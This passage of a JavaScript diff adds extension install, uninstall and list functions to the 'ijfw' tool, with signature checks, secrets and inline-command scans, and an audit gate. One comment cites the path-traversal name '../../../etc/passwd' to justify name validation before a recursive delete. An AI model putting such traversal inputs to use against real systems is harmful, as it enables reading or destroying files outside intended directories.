+ if (Array.isArray(m.overrides) && m.overrides.length) {
701
+ lines.push('');
702
+ lines.push('## Overrides');
703
+ for (const o of m.overrides) {
704
+ lines.push(`- ${o.skill ?? '(unknown)'} -> ${o.file ?? '(unknown)'}`);
705
+ }
706
+ }
707
+
708
+ lines.push('');
709
+ lines.push(`## Skills (${skills.length})`);
710
+ for (const s of skills) {
711
+ lines.push('');
712
+ lines.push(`### ${s.name} (${s.file})`);
713
+ const excerpt = buildAuditBriefExcerpt(typeof s.body === 'string' ? s.body : '');
714
+ lines.push('```');
715
+ lines.push(excerpt);
716
+ lines.push('```');
717
+ }
718
+ return lines.join('\n');
719
+ }
720
+
721
+ // --- install ----------------------------------------------------------------
722
+
723
+ /**
724
+ * Install an extension from npm, local path, or https git URL.
725
+ *
726
+ * @param {string} source
727
+ * @param {{
728
+ * scope: 'project'|'org'|'user',
729
+ * projectRoot: string,
730
+ * force?: boolean,
731
+ * accept_degraded_trident?: boolean,
732
+ * tridentExecutor?: Function, // test seam — forwarded as runTrident({executor})
733
+ * }} opts
734
+ * @returns {Promise<{ok: boolean, name?: string, version?: string, scope?: string, gate_result_block?: string, errors?: string[]}>}
735
+ */
736
+ export async function installExtension(source, opts = {}) {
737
+ if (!opts || typeof opts !== 'object') {
738
+ return { ok: false, errors: ['installExtension: opts is required'] };
739
+ }
740
+ if (opts.scope !== 'project' && opts.scope !== 'org' && opts.scope !== 'user') {
741
+ return { ok: false, errors: ['installExtension: opts.scope must be project|org|user'] };
742
+ }
743
+ if (opts.scope === 'project' && (!opts.projectRoot || typeof opts.projectRoot !== 'string')) {
744
+ return { ok: false, errors: ['installExtension: project scope requires opts.projectRoot'] };
745
+ }
746
+
747
+ let fetched = null;
748
+ let gateResultBlock;
749
+
750
+ try {
751
+ // 1. Resolve & fetch.
752
+ const kind = classifySource(source);
753
+ if (kind === 'npm') fetched = await fetchNpmExtension(source);
754
+ else if (kind === 'local') fetched = await fetchLocalExtension(source);
755
+ else if (kind === 'git') fetched = await fetchGitExtension(source);
756
+ else {
757
+ return { ok: false, errors: [`unknown source kind: ${kind}`] };
758
+ }
759
+
760
+ const extensionDir = fetched.dir;
761
+
762
+ // 2. Read + validate manifest.
763
+ const manifest = await readManifest(extensionDir);
764
+ const schemaResult = validateExtensionManifest(manifest);
765
+ if (!schemaResult.valid) {
766
+ return { ok: false, errors: schemaResult.errors.map((e) => `manifest: ${e}`) };
767
+ }
768
+
769
+ // 3. Verify integrity hash.
770
+ const integrity = verifyIntegrity(manifest);
771
+ if (!integrity.valid) {
772
+ return {
773
+ ok: false,
774
+ errors: [
775
+ `integrity: hash verification failed (expected ${integrity.expected ?? '(none)'}, got ${integrity.got ?? '(none)'})`,
776
+ ],
777
+ };
778
+ }
779
+
780
+ // 3b. W7/B1: signature verification. Unsigned manifests are allowed only
781
+ // when opts.allowUnsigned is set. Signed manifests must verify against a
782
+ // trusted publisher unless opts.acceptUntrusted overrides.
783
+ if (manifest.signature) {
784
+ const trustedKeys = await readTrustedPublishers();
785
+ const sigCheck = verifyManifestSignature(manifest, trustedKeys);
786
+ if (!sigCheck.valid) {
787
+ if (!opts.acceptUntrusted) {
788
+ const kidHint = sigCheck.publisherKeyId
789
+ ? ` (publisher_key_id: ${sigCheck.publisherKeyId} — trust with "ijfw extension trust <keyId> <publicKey>" if you know this publisher)`
790
+ : '';
791
+ return {
792
+ ok: false,
793
+ errors: [`signature: verify failed: ${sigCheck.reason}${kidHint}`],
794
+ };
795
+ }
796
+ // B11: when stdin is a TTY, require the user to confirm by typing the
797
+ // last 8 chars of the keyId. Non-TTY (CI / scripted) falls through to
798
+ // the stderr-warn path unchanged — no regression for automation.
799
+ if (process.stdin.isTTY === true && sigCheck.publisherKeyId) {
800
+ const confirmed = await promptUntrustedConfirmation(sigCheck.publisherKeyId);
801
+ if (!confirmed) {
802
+ return { ok: false, errors: ['signature: untrusted confirmation cancelled'] };
803
+ }
804
+ }
805
+ process.stderr.write(
806
+ `[ijfw] extension-installer: signature unverified for ${manifest.name}: ${sigCheck.reason}\n`,
807
+ );
808
+ }
809
+ } else if (!opts.allowUnsigned) {
810
+ return {
811
+ ok: false,
812
+ errors: ['signature: unsigned extension; pass --allow-unsigned to install anyway'],
813
+ };
814
+ }
815
+
816
+ // 4. Permissions allowlist check.
817
+ const permResult = validatePermissions(manifest);
818
+ if (!permResult.valid) {
819
+ return { ok: false, errors: permResult.errors.map((e) => `permissions: ${e}`) };
820
+ }
821
+
822
+ // 5. Static analysis: secrets scan + inline-command scan.
823
+ const secretsResult = await scanExtensionForSecrets(extensionDir);
824
+ if (!secretsResult.clean) {
825
+ const findingsLines = secretsResult.findings
826
+ .slice(0, 20)
827
+ .map((f) => `secrets: ${f.file}:${f.line} kind=${f.kind}`);
828
+ return { ok: false, errors: findingsLines };
829
+ }
830
+
831
+ const skillBodies = await readSkillBodies(manifest, extensionDir);
832
+ const cmdFindings = [];
833
+ for (const sb of skillBodies) {
834
+ const r = scanInlineCommands(sb.body);
835
+ if (!r.clean) {
836
+ for (const f of r.findings) {
837
+ cmdFindings.push(`unsafe-command in ${sb.file}: ${f.command} (${f.reason})`);
838
+ }
839
+ }
840
+ }
841
+ if (cmdFindings.length > 0) {
842
+ return { ok: false, errors: cmdFindings };
843
+ }
844
+
845
+ // 6. Trident install gate.
846
+ const brief = extensionAuditBrief(manifest, skillBodies);
847
+ const tridentOpts = {
848
+ brief,
849
+ gate: 'extension-install',
850
+ accept_degraded: !!opts.accept_degraded_trident,
851
+ projectRoot: opts.projectRoot,
852
+ };
853
+ if (typeof opts.tridentExecutor === 'function') {
854
+ tridentOpts.executor = opts.tridentExecutor;
855
+ }
856
+
857
+ let tridentResult;
858
+ try {
859
+ tridentResult = await runTrident(tridentOpts);
860
+ } catch (err) {
861
+ // DegradedTridentError or any other failure aborts the install.
862
+ gateResultBlock = await emitGateResult(
863
+ {
864
+ gate: 'extension-install',
865
+ status: 'FAIL',
866
+ lenses: [],
867
+ affected_artifacts: [
868
+ { type: 'file', ref: 'manifest.json', role: 'extension-manifest' },
869
+ ],
870
+ accounting: { duration_ms: 0, lenses_invoked: 0, cost_usd: null },
871
+ remediation: [
872
+ {
873
+ action: 'Trident audit could not run (degraded or offline).',
874
+ target: manifest.name || 'extension',
875
+ agent_recommended: 'human-review',
876
+ confidence: 0.5,
877
+ },
878
+ ],
879
+ },
880
+ { projectRoot: opts.projectRoot },
881
+ ).catch(() => undefined);
882
+ return {
883
+ ok: false,
884
+ errors: [`trident: ${err && err.message ? err.message : String(err)}`],
885
+ gate_result_block: gateResultBlock,
886
+ };
887
+ }
888
+
889
+ // R6 degraded behavior:
890
+ // 3/3 -> PASS or CONDITIONAL required
891
+ // 2/3 -> CONDITIONAL blocking unless accept_degraded_trident
892
+ // 1/3 -> install rejected unless accept_degraded_trident
893
+ // 0/3 -> impossible here (runTrident throws first)
894
+ const verdict = tridentResult.verdict;
895
+ const mode = tridentResult.mode;
896
+ let acceptable = false;
897
+ if (mode === 'full') {
898
+ acceptable = ACCEPTABLE_VERDICTS.has(verdict);
899
+ } else if (mode === 'partial') {
900
+ acceptable = opts.accept_degraded_trident && ACCEPTABLE_VERDICTS.has(verdict);
901
+ } else if (mode === 'single-lens-accepted') {
902
+ acceptable = opts.accept_degraded_trident && ACCEPTABLE_VERDICTS.has(verdict);
903
+ } else {
904
+ // single-lens-degraded / offline / anything else: not acceptable
905
+ acceptable = false;
906
+ }
907
+
908
+ const lensesForGate = (tridentResult.lens_results || []).map((lr) => {
909
+ const rawVerdict = String(lr.verdict || '').toUpperCase();
910
+ const knownVerdict = ACCEPTABLE_VERDICTS.has(rawVerdict) ||
911
+ ['WARN', 'FLAG', 'FAIL'].includes(rawVerdict);
912
+ const findings = Array.isArray(lr.findings) ? lr.findings : [];
913
+ const summary = findings.length
914
+ ? findings.slice(0, 3).map((f) => (typeof f === 'string' ? f : (f?.message || JSON.stringify(f)))).join('; ')
915
+ : (lr.note || '(no findings)');
916
+ return {
917
+ model: String(lr.lens || 'unknown'),
918
+ verdict: knownVerdict ? rawVerdict : 'WARN',
919
+ confidence: typeof lr.confidence === 'number' && lr.confidence >= 0 && lr.confidence <= 1
920
+ ? lr.confidence
921
+ : 0.5,
922
+ summary: String(summary).slice(0, 500),
923
+ };
924
+ });
925
+
926
+ gateResultBlock = await emitGateResult(
927
+ {
928
+ gate: 'extension-install',
929
+ status: verdict,
930
+ lenses: lensesForGate,
931
+ affected_artifacts: [
932
+ { type: 'file', ref: 'manifest.json', role: 'extension-manifest' },
933
+ ],
934
+ accounting: {
935
+ duration_ms: 0,
936
+ lenses_invoked: tridentResult.lens_results?.length ?? 0,
937
+ cost_usd: null,
938
+ },
939
+ remediation: acceptable
940
+ ? []
941
+ : [
942
+ {
943
+ action: `Trident verdict ${verdict} in mode ${mode}; install blocked. ` +
944
+ `Pass accept_degraded_trident:true after human review to override.`,
945
+ target: manifest.name || 'extension',
946
+ agent_recommended: 'human-review',
947
+ confidence: 0.5,
948
+ },
949
+ ],
950
+ },
951
+ { projectRoot: opts.projectRoot },
952
+ ).catch(() => undefined);
953
+
954
+ if (!acceptable) {
955
+ return {
956
+ ok: false,
957
+ errors: [
958
+ `trident: verdict ${verdict} in mode ${mode} blocks install`,
959
+ ],
960
+ gate_result_block: gateResultBlock,
961
+ };
962
+ }
963
+
964
+ // 7. Copy skill files into scope dir.
965
+ if (manifest.type !== 'skill-only') {
966
+ return {
967
+ ok: false,
968
+ errors: [`manifest.type ${manifest.type} not supported in v1.4.0`],
969
+ gate_result_block: gateResultBlock,
970
+ };
971
+ }
972
+
973
+ const scopeDir = resolveScopeDir(opts, manifest.name);
974
+
975
+ // 7a. Atomic install: stage into a sibling tmp dir, then rename into place.
976
+ // Sequence guarantees that we NEVER leave a registered-but-incomplete
977
+ // extension on disk. A crash during copy leaves either (a) the previous
978
+ // scopeDir intact, or (b) an orphan tmpScopeDir which is cleanable on
979
+ // retry. Registry writes happen only after the rename succeeds.
980
+ const tmpScopeDir = `${scopeDir}.tmp.${process.pid}.${randomBytes(4).toString('hex')}`;
981
+ try {
982
+ // Best-effort clean of any stale tmp from a prior crashed install.
983
+ await rm(tmpScopeDir, { recursive: true, force: true });
984
+ await mkdir(tmpScopeDir, { recursive: true });
985
+
986
+ // Always carry the manifest itself.
987
+ await writeFile(
988
+ join(tmpScopeDir, 'manifest.json'),
989
+ JSON.stringify(manifest, null, 2) + '\n',
990
+ 'utf8',
991
+ );
992
+
993
+ // Copy skill files preserving relative layout.
994
+ const skillsRoot = join(tmpScopeDir, 'skills');
995
+ await mkdir(skillsRoot, { recursive: true });
996
+ for (const s of skillBodies) {
997
+ const dst = join(skillsRoot, s.file);
998
+ await mkdir(dirname(dst), { recursive: true });
999
+ await cp(s.absPath, dst, { force: true });
1000
+ }
1001
+
1002
+ // Atomic flip: drop old scopeDir, rename tmp -> scope. fs.rename is
1003
+ // atomic on POSIX when source/dest are on the same filesystem (they are
1004
+ // — same parent directory). On Windows rename to existing dir fails, so
1005
+ // we rm first; the rm+rename combo is non-atomic on Windows but the
1006
+ // invariant ("never registered-but-incomplete") still holds because
1007
+ // the registry update is downstream of this block.
1008
+ await rm(scopeDir, { recursive: true, force: true });
1009
+ await rename(tmpScopeDir, scopeDir);
1010
+ } catch (err) {
1011
+ // Staging failed. Try to leave the filesystem in a clean state — the
1012
+ // tmp dir we created is the only orphan we own.
1013
+ await rm(tmpScopeDir, { recursive: true, force: true }).catch(() => {});
1014
+ throw err;
1015
+ }
1016
+
1017
+ // 8. Register (only after scopeDir is fully populated + renamed).
1018
+ const registryPath = resolveRegistryPath(opts);
1019
+ const registry = await readRegistry(registryPath);
1020
+ const filtered = registry.extensions.filter((e) => e.name !== manifest.name);
1021
+ filtered.push({
1022
+ name: manifest.name,
1023
+ version: manifest.version,
1024
+ scope: opts.scope,
1025
+ installed_at: new Date().toISOString(),
1026
+ manifest,
1027
+ last_trident_verdict: verdict,
1028
+ });
1029
+ await writeRegistry(registryPath, { extensions: filtered });
1030
+
1031
+ // 9. Cross-platform skill deploy + AGENTS.md injection (W2b / t11).
1032
+ // Project scope only — org/user scopes deploy lazily at session start
1033
+ // via override-resolver. Failures here do NOT unwind the install (the
1034
+ // extension is already registered); they surface as deploy_partial.
1035
+ let deployInfo;
1036
+ let deployPartial = false;
1037
+ if (opts.scope === 'project') {
1038
+ try {
1039
+ const skillList = Array.isArray(manifest.skills) ? manifest.skills : [];
1040
+ const d = await deployExtensionSkillsToPlatforms(
1041
+ manifest.name,
1042
+ skillList,
1043
+ opts.projectRoot,
1044
+ {},
1045
+ );
1046
+ deployInfo = {
1047
+ deployed: d.deployed,
1048
+ failed: d.failed,
1049
+ receiptPath: d.receiptPath,
1050
+ };
1051
+ if (Array.isArray(d.failed) && d.failed.length > 0) deployPartial = true;
1052
+ } catch (err) {
1053
+ const msg = err && err.message ? err.message : String(err);
1054
+ process.stderr.write(
1055
+ `[ijfw] extension-installer: skill deploy failed for ${manifest.name}: ${msg}\n`,
1056
+ );
1057
+ deployPartial = true;
1058
+ deployInfo = { deployed: [], failed: [{ platform: '*', skillName: '*', error: msg }] };
1059
+ }
1060
+ try {
1061
+ await deployExtensionToAgentsMd(
1062
+ manifest.name,
1063
+ Array.isArray(manifest.skills) ? manifest.skills : [],
1064
+ opts.projectRoot,
1065
+ );
1066
+ } catch (err) {
1067
+ const msg = err && err.message ? err.message : String(err);
1068
+ process.stderr.write(
1069
+ `[ijfw] extension-installer: AGENTS.md inject failed for ${manifest.name}: ${msg}\n`,
1070
+ );
1071
+ deployPartial = true;
1072
+ }
1073
+ }
1074
+
1075
+ // W7.1/B2-H-01: if opts.activate, write the active-extension state.
1076
+ if (opts.activate === true && manifest.permissions) {
1077
+ try {
1078
+ const { writeActiveExtension } = await import('./active-extension-writer.js');
1079
+ await writeActiveExtension(manifest, opts.scope);
1080
+ } catch (err) {
1081
+ // Non-fatal -- install succeeded; surface as a warning.
1082
+ process.stderr.write(`[ijfw] extension-installer: install succeeded but auto-activate failed: ${err.message}\n`);
1083
+ }
1084
+ }
1085
+
1086
+ return {
1087
+ ok: true,
1088
+ name: manifest.name,
1089
+ version: manifest.version,
1090
+ scope: opts.scope,
1091
+ gate_result_block: gateResultBlock,
1092
+ deploy: deployInfo,
1093
+ deploy_partial: deployPartial,
1094
+ };
1095
+ } catch (err) {
1096
+ return {
1097
+ ok: false,
1098
+ errors: [err && err.message ? err.message : String(err)],
1099
+ gate_result_block: gateResultBlock,
1100
+ };
1101
+ } finally {
1102
+ if (fetched && typeof fetched.cleanup === 'function') {
1103
+ await fetched.cleanup().catch(() => {});
1104
+ }
1105
+ }
1106
+ }
1107
+
1108
+ // --- uninstall --------------------------------------------------------------
1109
+
1110
+ /**
1111
+ * Remove an extension's scope directory and registry entry. Idempotent.
1112
+ *
1113
+ * @param {string} name
1114
+ * @param {{scope: 'project'|'org'|'user', projectRoot: string}} opts
1115
+ * @returns {Promise<{ok: boolean, removed: boolean, errors?: string[]}>}
1116
+ */
1117
+ export async function uninstallExtension(name, opts = {}) {
1118
+ if (!name || typeof name !== 'string') {
1119
+ return { ok: false, removed: false, errors: ['name is required'] };
1120
+ }
1121
+ // Validate name shape BEFORE constructing any filesystem path. Without this,
1122
+ // a name like '../../../etc/passwd' would join into resolveScopeDir() and
1123
+ // become the target of rm({recursive:true}). Same shape as the manifest
1124
+ // schema's name pattern: kebab, or @scope/kebab.
1125
+ if (!EXTENSION_NAME_PATTERN.test(name)) {
1126
+ return { ok: false, removed: false, errors: ['invalid extension name'] };
1127
+ }
1128
+ if (opts.scope !== 'project' && opts.scope !== 'org' && opts.scope !== 'user') {
1129
+ return { ok: false, removed: false, errors: ['opts.scope must be project|org|user'] };
1130
+ }
1131
+ if (opts.scope === 'project' && (!opts.projectRoot || typeof opts.projectRoot !== 'string')) {
1132
+ return { ok: false, removed: false, errors: ['project scope requires opts.projectRoot'] };
1133
+ }
1134
+
1135
+ try {
1136
+ const scopeDir = resolveScopeDir(opts, name);
1137
+ const registryPath = resolveRegistryPath(opts);
1138
+
1139
+ // Belt-and-braces: even with a validated name, confirm the resolved scope
1140
+ // dir lives inside the expected scope root. resolveScopeDir always joins
1141
+ // a known root with the name, but a future refactor could regress this.
1142
+ const scopeRoot = dirname(scopeDir); // e.g. <projectRoot>/.ijfw/extensions
1143
+ const resolvedScopeDir = resolve(scopeDir);
1144
+ const resolvedScopeRoot = resolve(scopeRoot);
1145
+ if (!resolvedScopeDir.startsWith(resolvedScopeRoot + sep) &&
1146
+ resolvedScopeDir !== resolvedScopeRoot) {
1147
+ return { ok: false, removed: false, errors: ['scope dir escapes scope root'] };
1148
+ }
1149
+
1150
+ // Order: AGENTS.md first (rebuilds from current registry — entry still
1151
+ // present at this point), then platform skills, then registry+scope dir.
1152
+ // If anything mid-flight fails, the registry still references the
1153
+ // extension so a retry of uninstall finishes the job cleanly.
1154
+ let removePartial = false;
1155
+ if (opts.scope === 'project') {
1156
+ try {
1157
+ await removeExtensionFromAgentsMd(name, opts.projectRoot);
1158
+ } catch (err) {
1159
+ const msg = err && err.message ? err.message : String(err);
1160
+ process.stderr.write(
1161
+ `[ijfw] extension-installer: AGENTS.md cleanup failed for ${name}: ${msg}\n`,
1162
+ );
1163
+ removePartial = true;
1164
+ }
1165
+ try {
1166
+ await uninstallExtensionSkillsFromPlatforms(name, opts.projectRoot, {});
1167
+ } catch (err) {
1168
+ const msg = err && err.message ? err.message : String(err);
1169
+ process.stderr.write(
1170
+ `[ijfw] extension-installer: platform skill cleanup failed for ${name}: ${msg}\n`,
1171
+ );
1172
+ removePartial = true;
1173
+ }
1174
+ }
1175
+
1176
+ const dirExisted = await stat(scopeDir).then(() => true, () => false);
1177
+ await rm(scopeDir, { recursive: true, force: true });
1178
+
1179
+ const registry = await readRegistry(registryPath);
1180
+ const before = registry.extensions.length;
1181
+ const next = registry.extensions.filter((e) => e.name !== name);
1182
+ if (next.length !== before) {
1183
+ await writeRegistry(registryPath, { extensions: next });
1184
+ }
1185
+
1186
+ // Rebuild AGENTS.md once more after registry mutation so the post-state
1187
+ // reflects the now-removed extension even if the earlier pass picked it up.
1188
+ if (opts.scope === 'project') {
1189
+ try {
1190
+ await removeExtensionFromAgentsMd(name, opts.projectRoot);
1191
+ } catch { /* already logged above if it failed first time */ }
1192
+ }
1193
+
1194
+ return {
1195
+ ok: true,
1196
+ removed: dirExisted || next.length !== before,
1197
+ remove_partial: removePartial,
1198
+ };
1199
+ } catch (err) {
1200
+ return {
1201
+ ok: false,
1202
+ removed: false,
1203
+ errors: [err && err.message ? err.message : String(err)],
1204
+ };
1205
+ }
1206
+ }
1207
+
1208
+ // --- list -------------------------------------------------------------------
1209
+
1210
+ /**
1211
+ * Aggregate installed extensions from project + org + user registries.
1212
+ * Dedupes on name+version (first occurrence wins; project > org > user).
1213
+ *
1214
+ * Entries include a `permissions` slice and a `description` lifted from the
1215
+ * persisted manifest so downstream consumers (override resolver / audit
1216
+ * dispatch) can answer permission questions without re-reading every
1217
+ * extension's manifest.json from disk. The full manifest is NOT returned
1218
+ * — the response stays compact.
1219
+ *
1220
+ * @param {string} projectRoot
1221
+ * @returns {Promise<Array<{
1222
+ * name: string,
1223
+ * version: string,
1224
+ * scope: string,
1225
+ * installed_at: string,
1226
+ * status: 'active'|'stale',
1227
+ * last_trident_verdict: string|null,
1228
+ * permissions: {reads?: string[], writes?: string[]} | null,
1229
+ * description: string | null,
1230
+ * }>>}
1231
+ */
1232
+ export async function listExtensions(projectRoot) {
1233
+ const paths = allRegistryPaths(projectRoot);
1234
+ const seen = new Map();
1235
+ for (const { scope, path } of paths) {
1236
+ const registry = await readRegistry(path);
1237
+ for (const e of registry.extensions) {
1238
+ if (!e || !e.name || !e.version) continue;
1239
+ const key = `${e.name}@${e.version}`;
1240
+ if (seen.has(key)) continue;
1241
+ const scopeDir = resolveScopeDir(
1242
+ { scope, projectRoot },
1243
+ e.name,
1244
+ );
1245
+ const dirExists = await stat(scopeDir).then(() => true, () => false);
1246
+ // Lift audit-relevant manifest fields. `manifest` is persisted on each
1247
+ // registry entry by installExtension; fall through to null when an
1248
+ // older registry entry predates that field.
1249
+ const manifest = (e.manifest && typeof e.manifest === 'object') ? e.manifest : null;
1250
+ const permissions = manifest && manifest.permissions && typeof manifest.permissions === 'object'
1251
+ ? manifest.permissions
1252
+ : null;
1253
+ const description = manifest && typeof manifest.description === 'string'
1254
+ ? manifest.description
1255
+ : null;
1256
+ seen.set(key, {
1257
+ name: e.name,
1258
+ version: e.version,
1259
+ scope,
1260
+ installed_at: e.installed_at || null,
1261
+ status: dirExists ? 'active' : 'stale',
1262
+ last_trident_verdict: e.last_trident_verdict ?? null,
1263
+ permissions,
1264
+ description,
1265
+ });
1266
+ }
1267
+ }
1268
+ return Array.from(seen.values());
1269
+ }